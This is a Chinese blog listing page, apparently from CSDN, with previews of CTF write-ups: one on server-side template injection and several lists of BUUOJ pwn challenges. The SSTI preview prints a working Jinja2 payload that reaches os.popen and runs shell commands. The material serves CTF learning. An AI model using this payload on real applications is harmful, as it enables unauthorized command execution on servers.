- 博客(14)
- 收藏
- 关注
RSS订阅
1原创 ssti
[第三章 web进阶]SSTI{{"".__class__.__bases__[0].__subclasses__()}} 执行结果中找到 os命令执行类<class 'os._wrap_close'>从头开始复制到os那里，粘贴到word文档里搜索个128结果，下标127{{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}} 列目录...
2021-05-23 13:30:27
589
原创 BUUOj PWN 121-140
121、ciscn_2019_final_5122、picoctf_2018_are you root123、[BJDCTF 2nd]diff124、bjdctf_2020_YDSneedGrirlfriend125、judgement_mna_2016126、gyctf_2020_document127、护网杯_2018_gettingstart128、xman_2019_format
2020-12-17 09:45:16
119
原创 BUUOJ PWN 101-120
101、gyctf_2020_force102、oneshot_tjctf_2016103、gyctf_2020_some_thing_interesting104、ciscn_2019_en_3105、cmcc_pwnme1106、x_ctf_b0verfl0w107、zctf2016_note2108、gyctf_2020_signin109、suctf_2018_basic pwn110、[BJDCT...
2020-12-17 09:38:23
224
原创 BUUOJ PWN 81-100
81、pwnable_hacknote82、jarvisoj_level583、hitcon2014_stkof84、cmcc_pwnme285、actf_2019_babystack86、npuctf_2020_easyheap87、picoctf_2018_can_you_gets_me88、picoctf_2018_got_shell89、[BJDCTF 2nd]snake_dyn90、axb_...
2020-12-17 09:32:38
335
原创 BUUOJ PWN 41-60
41、jarvisoj_level3_x64本地没问题，jaroj也没问题，buu上说啥就是不行。。libc搜不到，奇了怪了，jaroj上不用选择版本直接就可以
2020-12-11 22:39:54
328
原创 BUUCTF PWN 1-20
1、test_your_ncfrom pwn import *io=remote("node3.buuoj.cn",27916)io.interactive()之后ls ， cat flag 白给
2020-12-03 20:52:59
349
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人